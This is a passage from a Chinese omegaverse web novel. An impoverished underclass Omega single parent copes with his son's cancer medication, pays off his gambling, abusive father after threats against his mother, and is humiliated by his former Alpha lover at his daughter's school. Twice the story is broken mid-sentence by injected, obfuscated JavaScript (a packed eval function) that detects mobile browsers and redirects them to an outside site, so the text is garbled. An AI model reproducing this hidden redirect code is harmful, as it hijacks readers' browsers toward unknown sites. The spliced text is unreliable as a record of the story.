「我去做饭。」梁穗打起精神,朝孩子们比划。 梁晓盈应了一声,梁小满却像是困得厉害了,蜷缩在毯子下,小脑袋点了点,没有出声。 小满体力确实不如姐姐充沛,梁穗没有太在意,从沙发上坐起来,准备去厨房做晚饭。 “小满?” 才刚打开冰箱门,他就听见女儿问,“你怎么了?肚子又不舒服了?” 梁穗一惊,扭过头一看,只见晓盈一把掀开毯子,底下的小满身体弓得像只虾米,两只手捂着肚子,脸蛋白得叫人害怕,却还在咬牙硬撑:“没、没有啊……唔……” “脸都白成什么样了还说没有!”梁晓盈蹭一下站起来,四下张望着,“你药放哪儿了?今天是不是没吃药?啊?说话啊!” 梁穗赶紧过去帮忙一起找,母女俩一阵忙活,最后从茶几下面的抽屉中找到药瓶,立即倒出两粒药片塞进梁小满嘴里。 梁晓盈端来一杯水喂弟弟,一边喂一边懊恼:“这两天太忙了,忘了提醒你吃药,你该不会连昨天的药都没吃吧?” 梁小满蔫蔫地不说话。 梁穗又是心疼又是自责,是他这个做妈妈的失职,医生明明再三交代过了,小满目前绝对不能停药,他怎么连这么重要的事都能忘了呢? 本来就复发过一次,好不容易才让病情稳定下来,万一癌细胞再发生扩散,那,除了器官移植,已经没有任何其他的缓冲治疗了。 而合适的□□,并不是那么好等的。 到底是曾斩获制药界诺贝尔奖的进口特效药,吃下药不过二十多分钟,梁小满苍白的脸色就逐渐恢复了红润。 梁穗帮他按了按肚子,没摸到太明显的肿块,悬着的心终于放了下来。 还好,没有恶化。 梁晓盈收起药,刚把药瓶拿到手里就啧了一声,晃了晃瓶子,听着里头稀稀落落的声响,女孩露出一个不满的表情:“这么贵的药,吃两天就没了?也太黑心了吧。” 她只是随口一说,梁穗却感觉怀中搂着的身体抖了一下,梁小满把头埋进妈妈怀里,手指紧紧攥着他的衣襟,越发沉默了。 梁晓盈在对待梁穗以外的人时总是缺乏几分耐心的,也远不如警惕有可能欺负到妈妈的Alpha时那么敏锐。她并未察觉到弟弟的异常,看了眼沙发上的两人,很有小大人气势地吩咐:“行了,小满身体不舒服,穗穗你抱他一会儿吧,我去做晚饭,吃番茄鸡蛋面可以吗?” 又不喊妈妈。 梁穗看了女儿一眼,但面上还是什么都没有表现出来,只是点了点头。 不知道是不是还难受,梁小满在他怀中不停换姿势,怎么都待不安生。梁穗想让他多休息一会儿,就用胳膊把他瘦小的身体箍住,下巴轻轻蹭了蹭儿子的额头,表示不准再乱动了。 梁小满果然不再乱动,乖乖趴在他胸前,手臂半搭半搂着妈妈宽阔柔软的胸脯,像是很多年前吃奶的姿势一样,弄得梁穗有点痒。 过了一会儿,梁穗感觉表链被拽动,低头一看,小满又在玩他的怀表。 男孩耷拉着脑袋,握着那只小巧精致的石英表,不停地打开又合上,制造出一阵又一阵的啪嗒声。 那里面原本压着一张小小的合照。 自从他跟晓盈见到爸爸之后,妈妈就把照片撤掉了,他之后悄悄找了好几次都没找到,不知道妈妈究竟把照片藏到了哪里。 “妈妈……” 犹豫了好久,梁小满还是忍不住开口问,“你为什么不跟爸爸结婚?” 梁穗闭上眼,好似没听到。 梁小满没得到答案,锲而不舍地问了好几遍,梁穗被烦得不行,只好姿势别扭地比划:「不要叫那个人爸爸,他不是爸爸。」 梁小满问:“那我跟晓盈的爸爸呢?” 「死了。」 梁小满撇撇嘴,换了个话题:“那天他给你支票,你为什么不要啊?” 梁穗明白了,原来这小家伙那天在车上醒着,难为他憋了这么久才问。 男人很苦恼地思考该怎么对儿子解释,过了半晌,才慢腾腾地组织好语言。 「拿了支票,就要走。不能走。」 梁小满想了想,说:“分手费?” 「嗯。」 梁穗点头之后又觉得不妥,这算分手费吗?毕竟,当年分手的时候褚京颐已经给过他一次补偿了。 可如果不算,当时的那张支票又确实表达了希望与自己彻底划清界限的意思…… 正走神间,他又听到儿子说:“可是妈妈,你可以只收下支票,但不离开洛市呀。” 梁穗一愣。 梁小满继续振振有词地说:“你先把支票兑现了,然后赖在洛市不走,爸……那、那个人,难道还能强行赶你走吗?” 梁穗反应过来,用手指轻戳了一下儿子的脑门儿,委婉地表示谴责。 「言而无信,错。」 他用的力道不大,梁小满却还是装出一副被戳痛的样子,捂着脑门儿,可怜兮兮嘟囔:“我知道这样不对……可他就算不想认你,也不想认我和晓盈,出点钱总没什么吧?他一看就是电视里演的那种超级厉害的精英人士,手里一定有很多、很多、多到花不完的钱!给我们一点怎么了?这是Alpha的责任!” 梁穗摇摇头:「做错事,要受惩罚。」 褚京颐的确很厉害。所以,来自他的惩罚,也会很可怕。梁穗无法承受的那种可怕。 思绪一瞬间像是又飘荡回了很多年前的那一天,那场刻在他的□□、骨血、灵魂深处的梦魇,即便只是短短数秒的重现,依旧让他不可自抑地打了个寒颤。 洛市的高楼大厦一层一层往上垒,最高处尖耸入云天,最低处却能矮进尘埃。人也是一样。 人上人的雷霆一怒,足以将自己这样艰难求生的蝼蚁粉身碎骨了。 梁穗付不起这样惨重的代价。 而且…… 「不是,」他很认真地直视着那双与自己长得很像的黑色眼睛,「你们不是他的责任。」 如果必须有人为这两个小生 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就在即将入睡的前一秒,手机铃声突然急促地响了起来。 梁晓盈坚持睡在床外侧,此刻手一伸把床边柜上的手机拿过来,就着小夜灯一看,很含糊地咕哝了一句什么,不像是好话。 “谁啊?”梁小满揉着眼睛问,他已经快睡着了。 梁穗要去接手机,梁晓盈不给,一骨碌从床上坐起来,低着头将手机键盘按得噼里啪啦响。梁穗看着她按下发送键,给对方回了短信,但好像没用,电话铃声还在响,挂了就继续打,大有不接通就要打上一整晚的架势。 虽然墙板很厚,不用担心夜半铃声扰民,但也不能放任对面电话就这么打下去。 梁穗无奈,拍了拍女儿,将手机从她手里拿过来,联系人的名字正闪烁着跳跃在屏幕上。 “啊……” 梁小满也凑过来,看清名字的那一刻不由惊呼一声,一时间三人的脸色都有些不太好看。 过了会儿,梁晓盈说:“理他干嘛,直接挂了,手机关机。” 梁小满有点犹豫:“不接外公的电话,他一生气又要打人了。” 梁晓盈眼睛一瞪:“让他打!隔着十万八千里,我不信他还能跑到洛市来打人!” 再说了,死老头当年在洛市犯事被下了限制令,十年内都不准踏入京洛地界半步,他要真敢犯禁,正好报警把这老祸害抓起来! 梁穗也不想接电话,正准备听女儿的关机,这时手机又“叮”地响了一声,弹出一条短信。 【临安市兰溪县景陶镇永乐街807号,惠泉超市】 梁穗瞳孔一颤。 临安?那不就是…… 盯着这两个字看了好一会儿,梁穗缓慢地眨动了几下眼睛,然后点开通话记录,主动拨了回去。 那边下一秒就接通了。 “喂?”是道很粗哑的男声,明显是被烟酒熬坏了嗓子,但并不算难听,甚至还能听出那么几分磁性的意思来,语气也挺亲热,“穗穗,怎么才接电话?睡这么早?” 梁穗安静地听着,没有做出反应。 “嗨嗨,听着呢吗?你嗯一声让老爸知道,要么对着话筒吹口气儿。” 梁穗没出声。 “这孩子!”对方嗔怪了一声,也没在意,“这都一年多两年没回家了吧,平时也不说给爸爸发条短信问好,没良心!” 梁穗始终不接茬,这人仍旧坚持着要把这出独角戏唱完 ,自顾自说了一大通,末了又很像个慈父模样地问:“今年打算什么时候回家看看啊?端午能回来不?爸爸刚摘了箬竹叶,到时候亲手给你包粽子……” 手机一直开着免提,梁晓盈听到这里终于忍无可忍,一把将手机抢过来,大声反问:“回去干嘛?让你把他卖到那个变态俱乐部抵债?” “梁跃东你要点脸行不行,堂堂Alpha有手有脚的,别整天盘算着怎么吃儿子!我告诉你,别想!不可能!穗穗这辈子都不会回去的!不管你欠了多少钱都和我们没关系!你这种垃圾迟早烂死在赌场里!呸!” 8. 第 8 章 梁穗阻拦不及,梁晓盈一张小嘴已经跟架机关枪似的突突开火把对面喷了个狗血淋头。 对面那人几次开口劝和都没法压过这个小丫头的嗓门儿,终于恼羞成怒地大吼:“梁穗!管管你生的这个泼女!这是对亲外公说话的态度吗?啊?你就这么教孩子的?” 梁穗要拿手机,梁晓盈还是不给,冷笑一声:“得了,你也别拐弯抹角了,直接说吧,这次又想憋什么坏招儿?” “这丫头怎么说话的?越大越没规矩了!” 梁跃东本就是佯怒,见她不骂了,便也跟着顺坡下驴,讪讪道,“你妈妈旁边听着呢吧?咳咳……我这不是那什么,有笔款子一时还不上吗?你看你那里要是宽裕……” 梁晓盈说:“我挂了。” 说着就要按挂断。 “哎别别!”梁跃东情急之下大叫,“穗穗你就当借我的!爸爸实在是没办法了,你要是不帮我,我只能去找你妈了!” 梁穗握住女儿的手。 梁晓盈扭头看他,梁穗嘴角绷得紧紧的,神色严肃中又透着一丝焦急。他飞快比划了几下,梁晓盈点点头,冲着手机那边的梁跃东不屑地哼道:“又胡扯,你知道我外婆在哪儿?” “我怎么不知道?不就在临安那个做陶器的小镇上?她跟她那个野男人家的门牌号我都扒出来了!臭婊子还挺能藏……别挂别挂!” 梁跃东长出一口气,终于放弃了打感情牌,“穗穗,我也不跟你扯虚的,你帮爸爸把这次的窟窿堵上,我就当不知道你妈的下落,放她跟那个超市小老板逍遥快活去,不然……” Alpha的语气中陡然多出几分不善:“你知道穆青青当年丢下你跟别人跑的时候,还没跟我办离婚吧?一个劣等Omega,老子手心里捏着的玩意儿,抛夫弃子这么多年,我要真把她抓回来,弄残弄死了都没人管!” 图穷匕见。 梁穗将他话语中的那一丝狠辣听得分明,心脏猛地揪紧了一下。 说实话,连他本人都只知道穆青青躲在临安市,具体住址一概不知,也从未想过要打听,他不想打扰妈妈目前的生活,不管是什么生活,总不会比被梁跃东这个猪狗不如的畜生动辄凌辱打骂更糟糕了。 但梁跃东知道。 作为无法享有完整公民权利的劣等Omega的丈夫、配偶、主人,只要他想查,总有办法查得到。 总有办法,毁掉好不容易才从地狱中逃出来的妈妈的新生活。 “穗穗?”梁晓盈不可思议地睁大眼,“你说什么?不行!凭什么给他钱?一分也不给!” 梁跃东赶紧道:“我不多要!你账户前几天不是刚转出一笔四万五的房租吗?我查了下你现在存款还有十万出头,这样,你给我打九……八万过来!剩下那两万多爸爸就不要了,省着些也够你们娘仨过活的了吧?” 梁穗深深地、深深地吸了口气。 从夫,从父。 同为劣等Omega的自己和母亲,全都逃不出这个Alpha的掌控。 「最多五万。我带着孩子开销也不小,每月打给医院的钱都不止两万块。」 梁晓盈臭着脸转述了他的话。 “你能缺钱花?” 梁跃东不信,琢磨了半天,又问:“你高中不就是在洛市的一家贵族学校上的吗?听说那里头到处都是达官显贵,哎,穗穗,我记得你那会儿不是还在学校勾搭上一个特别阔气的富二代?又是给你送手机又是送名牌的,连学费都包了,给咱家省了好些钱……当初怎么问你都不说,你身边这俩小崽子是人家的种吧?” 梁晓盈骂:“死老头你老年痴呆了是吧?胡说八道什么呢!” “穗穗,你这次来洛市是去投奔你那个姘头的吧?”梁跃东越琢磨越觉得就是这么回事,猛地一拍大腿,“爸爸生养你一场不容易,你可不能自己跟着有钱人吃香喝辣的不管我死活了!” …… 最后还是给他打了八万。 梁跃东犹自不死心,还在絮絮叨叨:“你这孩子就是死心眼儿!那人不要你你不会找找别的出路吗?要我说你们这些劣等Omega就是天生躺着来钱的命,干什么苦劳力活儿啊?” “卖力气能挣几个钱,你找家夜总会挂挂牌,要么自个儿寻个门路单干,咱长得也不差,虽说是比一般Omega壮实了点儿,但耐不住有人就好这口啊!跟你妈似的,大奶大屁股,走起路一步三晃,Alpha的魂儿都能被晃没了!我那帮牌友来家里玩,哪个见了不两眼放光?要不是那娘们儿死也不肯,老子早送她去小花洲上班赚钱——” 梁穗把电话挂了。 大概是拿到了钱,心满意足,梁跃东之后也没再继续打电话骚扰。 坐在床上,目光下移,盯着墙脚处那一小块像是被小孩子拿着记号笔画过的黑乎乎痕迹发了好一会儿呆,梁穗的注意力才慢慢回笼。 姐弟俩正在愤愤不平地七嘴八舌嚷嚷着,梁晓盈这么刚强的性子都快气哭了,两只眼睛红红的,抱着妈妈的胳膊恶狠狠咒骂:“老不死的三天两头找借口抢钱,那可是八万块啊!够给小满再买好几个月的药了!给那老东西一晚上就能输得精光!” 梁小满也红了眼圈,抽抽嗒嗒地偎着妈妈掉泪:“两、两万块,够花多久啊?妈妈,把我的长命锁卖了吧,那个是金子做的,很值钱……” 梁穗轻叹一声,又一次低下头,在两个孩子的脸蛋上亲了亲,蹭着她们的额头以示安慰。 「不用担心,」他很轻柔地笑了起来,眉目间蕴着一抹散不开的惆怅,但眼神依旧清朗,不见丝毫阴霾,「妈妈会想办法赚钱的。」 梁晓盈咬牙:“赚钱有什么用?除非用现金发工资,不然钱一到账户上那老畜生又得来要!” 可是,即便工资是现金,医院、学校这两大主要开销呢?但凡是留下电子记录的,梁跃东作为监护人都一定会收到通知。 劣等Omega的所有权,以及由此延伸出来的各项人身权利,从来都不掌握在他们自己手上。 “咱们以后要怎么办?”她吸了吸鼻子,看向妈妈,“就这么一直给他当血包吗?什么时候是个头儿啊。” 梁穗很镇定,「没关系,等他死了就好了。」 年轻时混迹□□,落下一身伤病,痴迷烟酒赌钱,甚至还沾毒……梁跃东这几年身体衰败得厉害,底子早就耗空了,肯定活不长。 等他死了,穆青青、梁穗和孩子们,所有人,就都能解脱了。 - 褚京颐走出负二层的电梯,助理江淮开着车迎过来,还没停稳,一只小脑袋就“唰”地从车窗里探出来,对着他露出一个缺牙花的灿烂笑脸。 “舅舅!这边这边!威仔想死你啦!” 褚京颐站在原地没动,四下张望了一番,没见到预想中的那个人。 他脸色很不好看:“兔崽子,你妈呢?” 小兔崽子捧着脸装可爱:“妈咪去捉虫虫了~” 褚京颐看向自己的助理,“怎么回事?” 江淮忙道:“哦,刚才贺小姐急匆匆把卯威少爷送过来,说是让您帮忙照看几个月,她有个紧急课题,已经连夜飞往亚马逊了……” 褚京颐掏出手机来给他那个不靠谱的表姐贺一诺打电话,不知道是不是已经登机,一直显示无法接通。 “舅舅舅舅~你快上车呀!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时正好路过环江公路,褚京颐随意往窗外瞥了一眼,夜幕下的明江显得平静而美好,江面粼粼闪动,像是洒了一层银箔。 他漫不经心道:“行啊,那你去把你爸捞上来吧。” 江淮忍不住从后视镜里往后看了一眼,只见自己老板面色如常地敲击着笔记本电脑的键盘,毫无对小孩开地狱玩笑的愧疚感。 当然,贺卯威也不是个普通小孩。 “我妈说爸爸被冲到黄昏岛去了,不在明江,那里特别远,我得长大了才能去找他。”贺卯威噘了噘嘴,“舅舅,你就陪我去吧,我在班里交了个好朋友,我想把她介绍给你。” 听到“好朋友”三个字,褚京颐不由侧头看了看他。 贺卯威出生时,贺一诺正好收到丈夫乘坐的游轮侧翻的消息,过度惊吓之余出现难产,孩子在娘胎里窒息了好几分钟才生出来。 或许是损伤到了某些脑部神经,贺卯威虽然智商测试正常,甚至算得上优秀,但性格比起同龄人要幼稚孤僻得多,从小到大都跟班里同学玩不到一块去,鲜少听他说交过什么朋友,还是“好朋友”。 褚京颐:“嗯,不错,是谁家的孩子?” “不知道,”贺卯威摇头,“晓盈家不是做生意的,她家里没有钱,但是她超级聪明,刚转过来就考了年级第一!她跳了两级,今年才七岁,但是个子比四年级的人还要高!踢球也很厉害,马术也学得很快,谁都比不过她……” 褚京颐本来还在心不在焉地听着,直到某个似乎不久前在哪里听到过的名字闯入耳中,敲击键盘的手指忽然一顿。 贺卯威没有察觉到舅舅的异样,还在兴高采烈地介绍着自己的新玩伴:“晓盈是优等Alpha,所以大家都很听她的话,她让班里的同学都带我一起玩……” 晓盈。 梁……晓盈。 9. 第 9 章 六月二十九,西嘉举行了在正式放暑假之前的最后一次家长会。 作为三年级年级第一的家长,梁穗提前得知了需要上台发言的事,不过在将自己的情况转述给老师之后,老师便破格同意了让女儿替他上台,他只需要坐在下面听着就好。 “穗穗,你还好吧?” 梁晓盈第三次从后台转出来,跑到坐在观众席的妈妈身边问,“还觉得恶心吗?” 趴在桌子上休息的男人从臂弯里抬起脸来,面色潮红,眼尾也一片湿润,并非主观想流泪,只是单纯的生理反应。 礼堂里,汇聚了太多的Alpha。 各种复杂的气味杂糅在一起,身为对异性信息素极度甚至称得上病态敏感的劣等Omega,梁穗就像是一位花粉过敏患者误入了百花丛中,控制不住地想打喷嚏,眼泪鼻涕齐流,擦都擦不及。 尤其是,他的发情期刚刚过去不久,在这种信息素混杂的环境下更加难受。 「还好,」他慢吞吞地比划着,「可以忍受。」 话没说完,一滴眼泪已经从眼角斜斜地流向鼻尖,梁穗鼻翼轻轻翕动了一下,立即抽出一张面巾纸捂住口鼻:“啊嚏!” 在梁穗低头找垃圾桶之时,梁晓盈担忧地看向他颈后那只已经出现了不少磨损痕迹的老旧项环,属于等级低下的Omega特有的甜腻香气正从源源不断溢出,惹来周围不少意味不明的打量。 她咬了咬牙:“你这个项环是不是已经罢工了啊,收束效果不好也就算了,怎么连最最简单的隔绝信息素侵袭也做不到!这么老掉牙的玩意儿,一点安全保障都没有,该买只新的了。” 劣等Omega可不在反暴力□□法案的保护范围之内。自从转到西嘉以来,因为离家太远,她和弟弟中午都不能回家,留妈妈一个人待着,梁晓盈怎么都不能放心,总得时不时打个视频确认情况。 「还能用。」梁穗不舍得在自己身上花费太多支出,他乐观地表示,「洛市治安很好,我不会有事的。」 洛市风月行业发达,并且管理得相当严格。再落魄的底层Alpha都有合法的纾解渠道,还不至于真对他这样长相和身材严重悖离当下审美的Omega出手,最多占点口头便宜或是摸上两把,梁穗并不在乎吃这点小亏。 待在这座性犯罪率全国最低的大城市里,怎么都比继续留在家乡那个边陲小城更安全。 梁晓盈眼神里写满了无语:“蠢死你算了,这种鬼话也信。” 这时老师在叫她回去准备,梁晓盈语速加快:“我先过去了,待会儿可能要晚会儿才能过来找你,你等散了就直接去找小满,不要一个人待着,知道吗?” 她朝后面几排指了指,“那里,小满在倒数第三排,看见了吗?别一个人待着啊,有Alpha跟你说话不要理,Omega也不行,Beta也别理,总之哪里也不要去,别跟陌生人说话!” 梁穗觉得她这副模样倒像是妈妈,自己反倒成了什么都不懂的女儿了,忍不住笑了笑,又郑重其事地点了点头。 「好。」 - 在家长会正式开始之后,梁穗觉得更加难受了。 他半趴在桌子上,一个接一个地打喷嚏,虽然极力压抑着声音,但在台上人发言的间隙仍显得响亮,吸引了四面八方无数道或是讶异或是讥笑的视线。 这些令他如芒在背的众多视线中,有一道似乎尤为尖锐,审视的,冷酷的,像是被一柄寒光闪动的利刃抵住后心,梁穗本能地察觉到危险,几次回头去看,但视野由于产出了太多生理性泪水而变得模糊,总是无法看清。 是谁呢? 虽然自己是有些失礼,但也不至于产生这么大的敌意吧。 梁穗郁闷地擤了把鼻涕,尽可能小心地把纸团扔进垃圾桶。第一次扔偏了,他瞄了眼台上正在分析本学期学生成绩的老师,悄悄地弯腰将纸团捡起,丢进垃圾桶,不经意发现自己的手指好像有些抖。 啊。 怪不得没扔准。 梁穗有些自嘲地想,心里的小人却在一声声叹气。 没办法,等级悬殊带来的影响不光是生理性的,甚至并不局限于异性之间。 置身于这座坐满了高阶Alpha与Omega的宏伟礼堂,他背后的寒毛已经不知不觉竖了起来,就像是一头草食性动物不慎闯入了狮虎一类猛兽的狩猎场,即便这些强大的掠食者未必瞧得上他这头不够美观的猎物,但为人鱼肉的毛骨悚然感并不会因此削减半分。 毕竟,他只是一块没有任何锋利齿爪护身的“肥肉”。 ……幸好生活在文明社会。 好不容易撑到家长会结束,梁穗也顾不得其他,低着头匆匆奔向卫生间,他现在脸上涕泪横流双眼发红,路都看不清,实在太难看了,必须要好好洗把脸才行。 等洗完脸就马上去找小满。 梁穗这么想着,却很快就在走廊迷了路。 他是第一次来到西嘉小学部的这座礼堂,对路线十分陌生,上上下下晕头转向地找了好几分钟,才终于在偏僻拐角处找到了一座卫生间。 梁穗抬手推门时看到了门上挂着的“故障维修,请勿使用”的牌子,但此时门已经被推开了。 只是洗脸,应该没事吧? 犹豫了一下,他轻手轻脚走进去,拧了拧水龙头,发现水流是正常的,便松了口气,解开领口,俯下身子去洗脸。 清凉的自来水扑到脸上,一点点洗去狼狈的眼泪与鼻涕。 梁穗双手并拢,用手心接了一捧水,将脸埋进去,鼻腔浸润到清水中,之前那种窒息一般喘不上气的感觉终于减轻了一些。 几秒之后,他抬起头,对着镜子梳理自己被水打湿的发丝。 头发,长长了呢。 梁穗讨厌理发。 正规的发型店只是一套洗剪吹就要大几十乃至上百块,街角小巷的理发小摊倒是几块钱就能搞定,但是理出来的男士发型基本只有毛寸板寸这种老土款,所以每次到了该理发的时候都很为难。 再怎么样也是Omega。虽然的确不是五官精致的美人类型,但只要情况允许,还是希望能以干净得体的形象示人。 梁穗仔细地捋好凌乱的鬓发,刚想抽出盥洗台旁的纸巾擦脸,忽然听到走廊上响起一阵哒哒的脚步声,像是鞋跟踩在大理石地砖上,声音由远及近,越来越大,似乎正在朝这边走来。 他还没有反应过来,下一秒,虚掩的大门被推开,一道穿着浅灰色西装的人影慢慢走进来。 明亮的镜面上倒映出一张肤色雪白、艳丽如鬼魅一般的脸,从镜子的倒影中紧紧地盯住了他。 梁穗大脑一空。 他像是只猝不及防被车前灯照到的兔子,背对着来人,呆呆地面向镜子站了好一会儿,才如梦初醒地倏然转过身。 后腰下意识靠在了冰凉的盥洗台上,仿佛是潜意识在提醒他要尽可能跟眼前的Alpha保持距离,但目光却不受控制地落在了那张美丽的脸上。 那张,让他当年一见钟情、贻误终生的脸。 无数次午夜梦回,在无数个或是美好或是痛苦的颠倒迷离的幻梦中所见到的那张脸。 “看什么?” 一开口,就是熟悉的嘲讽语调。 褚京颐微微挑眉,眼神冷淡,扫过他身上时带着极重的分量感,那是属于蔑视与嫌恶的重量。 犹如山岳一般,压得人无法翻身。 梁穗从久远的回忆中怔然回神,低下头,避免与对方产生眼神对视,然后抬脚往门外走去。 很难应付眼下的局面。所以还是尽快离开比较好。 就在梁穗即将走到门口时,褚京颐一抬手,大门在他身后关闭,而他本人则挡在通往大门的必经之路上,如同逃出生天之前的最后一道也是最困难的一道考验。 距离,只有三步之遥。 能够隐约嗅到对方身上那股湿冷的海水气息,在有限的空间里无限膨胀,攻城掠地,一步步侵吞着空气。 梁穗再次体会到难以呼吸的憋窒感。 “为什么会出现在这里?”他听到褚京颐问。 一遇到这个人,本就不聪明的脑子转得就更慢了。 梁穗迟钝地处理着这个问题,许久才将其真正的意思传输进大脑。 “说话。” 褚京颐等得不耐烦了,见梁穗有后退的趋势,立即向前逼近一步,是谈判中常见的向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314663|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对手施压的手段。 从未见过什么大世面的Omega显然有些招架不住,惊慌地瞥了他一眼,然后开始在自己身上上下摸索,从裤兜里掏出一沓便利贴和中性笔,飞快地写了一行字递过去。 “转学。将来考好学校。” 像是怕褚京颐误会,男人紧接着又撕下一张便利贴写:“名额被限制,只能来这里。” 只能。 整个洛市大大小小几百所学校,精准地挑中了综合实力最强也是最昂贵的西嘉,他们七年前就读的那所高中的小学部。 重逢那天也是这样。好像总是试图向自己解释,一切都是巧合、偶然、上天注定,是冥冥之中的无形力量让他们一次又一次相遇,那种所谓缘分之类冒着傻气的粉红气泡的东西。 和当年一样拙劣……不,更加低级可笑的伎俩。 “梁穗,”褚京颐平静地问,“是我上次没有把话说清楚吗?我没能戳破你全部的幻想是吗?” 梁穗连忙摇头。 他张了张嘴,每当这种时候就下意识想开口说些什么,但声带好似被胶水粘住,他无法发声,写字也来不及,只能沉默地看着面前的青年,听着那不急不缓却分外刻薄的逼问。 “你当年为了进西嘉所做的一切努力,有收获到好的结果吗?费尽心机,百般筹谋,最终还不是灰溜溜地回到了自己原本就该在的地方?我以为你应该已经看清现实了,可为什么还是不死心?你到底还想纠缠到什么时候,到底还要看到怎样残酷的现实才能罢休?” “自己一门心思钻营,硬要往不属于你的地方挤就算了,如今连女儿都不放过了吗?你再怎么说也是个Omega,她呢?一个Alpha,你难道还指望她将来勾搭上某个有钱人家的Omega吃软饭?豪门赘婿,也不是你想的那么好当的,别再汲汲营营地打这些邪门歪道的算盘了,这条路你们母女两个都走不通。” “我和你,这辈子都没有可能,我不可能舍弃卿玉,娶一个劣等Omega进门。这样直白浅显的道理,一定要这么一遍又一遍重复地讲给你听吗?” …… 梁穗眼圈发红,肩膀在轻微地颤抖着,不断点着头又摇头,表示自己听到了,听懂了,明白无误,他早已放弃了对褚京颐的不良企图,希望对方不要再继续羞辱自己,他不愿接受这些莫须有的指控以及随之而来的恶意中伤,身为Omega的自己,即便只是个人人不齿的劣等品,也不应该承受这种冷酷残忍的对待。 褚京颐冷眼看着他眼底盈盈颤动的泪光,心如磐石,不为所动。 梁穗一直都是这样。怯懦,软弱,不善反抗,很轻易就能将他压倒。 以往他们每一次争吵,不管究竟是谁的错,最先道歉求和的那个人一定是梁穗。他好像天生就抗拒任何不友善的情绪与氛围,劣等Omega对于信息素的敏锐感知让他难以承受来自他人的恶意,尤其当这份恶意来自自己的重视之人。 但他不会改。 表面上可怜兮兮认错,背地里依旧我行我素,老实腼腆的外表下是个出乎意料执拗倔强的灵魂,只要是自己认准的事就死也不悔改。 自从两个月前赶他离开洛市未果之后,褚京颐心里就已经隐隐有了被麻烦黏上的觉悟。 除非是他自己想走,不然,不管使出多强硬的手段,他都一定会坚持在洛市赖到底,就像当年在西嘉高中部死缠烂打赖在自己身边,直到被缠磨得没办法的Alpha不得不松口答应跟他交往。 撕不掉的狗皮膏药。 心里像是燃着一把无名郁火,褚京颐重重地呼出一口气,本不想再看他受了欺负似的、要哭不哭的软弱表情,但在转身离开之前,一个在心底压了不知多久的疑问滚上舌尖,Alpha忍了又忍,最终还是顺从本心,将其干脆地倾吐出来。 “上次我借给你的那件大衣,”他刻意加重了“借”字,语气听起来却仍是风轻云淡,“你打算什么时候还?” 或许是错觉。 但在这句话问出口的一瞬间,褚京颐清楚地看到,梁穗眼眶里那几颗被羞辱得摇摇欲坠的泪珠,突然停止了下坠的冲势,颤颤地、险之又险地挂在睫毛上,与主人一同陷入了长久的呆滞中。 10. 第 10 章 ……借? 梁穗在脑子里一遍遍反刍着这个字,越想越觉得迷糊。 他愣愣地看着面前一副理所当然模样等着自己回答的Alpha,许久之后,才小心翼翼地咽了咽口水,在便利贴上写道:“你说,让我拿去穿。” 褚京颐淡淡“嗯”了一声:“所以什么时候还我?” “……” 梁穗吸了吸鼻子,鼻腔深处蔓延开的酸意让他眼圈更红了,握笔的手都有些发抖,字迹也开始模糊,“你不要了,送给我的,不应该要我还。” “谁说我送给你了?”褚京颐眯了眯眼,“看你那天冷得可怜,借你穿穿而已,你如果懂事就应该第二天把衣服洗干净送还给我。” 梁穗又想写字反驳,但这次才刚胡乱划了几下笔就从他手里掉下去,“啪嗒”摔在地板上。 积攒已久的情绪仿佛被这一小小的插曲点燃,眼泪大滴大滴砸下来,他死死咬着嘴唇,从喉咙里发出很含糊的哽咽声。 “呜……” 为什么,要对他这么坏呢? 明明是送给他的东西,现在却又突然反悔要他还回来,这样反复无常地戏弄他、欺辱他……将身为Omega的最后一丝自尊心踩在脚下,完全不顾及他会不会难堪。 为什么,当初要让他喜欢上这么恶劣的人呢? “呜嗯、呜……” 字不成句的零星语声,却仍能依稀辨出当年的音色,熟悉中又带着一丝被岁月侵蚀的陌生感。 褚京颐脸上冷漠不耐的表情凝滞了一下,只是肉眼难以捕捉的刹那失神,记忆已经不可避免地被拉回到数年前的高中时代。 那时,他刚刚因为不胜其烦而随口答应了对方的追求,这个蠢货大概真以为他们是在谈恋爱,不仅变本加厉黏着他不放,还硬是缠着他要教他手语,尽职尽责地为他纠正错处。 正是在那个时候,褚京颐才知道梁穗竟然是可以出声的。 只是说得不太连贯,磕磕绊绊,音色也很特别,既不粗犷也不纤细,有种介于中间微妙平衡的端正柔和,矛盾又协调,时常给人一种暧昧不明的感觉。 尤其是,哭起来的时候…… 梁穗举着手不停抹泪,源源不断的泪水似乎存心要跟主人作对,总是擦不干净。 眼泪顺着脸颊下巴一路下淌,将他好不容易才忍着肉痛买来的新T恤都打湿了。领口处棉白布料的底色下被泪水浸出一大片令人无法忽视的深麦色,微微泛着红,圆隆的轮廓若隐若现。 “你哭什么?” 见梁穗哭得伤心,褚京颐也觉得有些没意思。这样刁难一个Omega,难免有失绅士风度,他冷哼一声,终于放弃了先前步步紧逼的刻薄姿态,“算了,你卖了多少钱?” 梁穗眼泪汪汪地抬起脸来,黑亮的瞳仁罩着一层浓浓水雾,万千情绪隐藏其后,看不出是谴责还是困惑。 “低于八十万你就是又被骗了,”青年冷眼睨着他,“再怎么样三五十万总是有的吧?这些钱还不够你买件像样的衣服?穿得这么寒酸,装可怜也装过头了吧。” 粗糙的低质布料,又是浅色,尺码也不对,紧紧绷在身上。饱满结实的肌肉线条被勒得纤毫毕现,连领口的扣子都不系。肉色沟壑自锁骨下深深蔓延进衣物遮掩的阴影处,行动间颠簸颤晃,摇曳生姿,好像生怕Alpha注意不到他那个格外丰硕惹眼的部位似的,无时无刻都在向外散发着一股低级的□□诱惑。 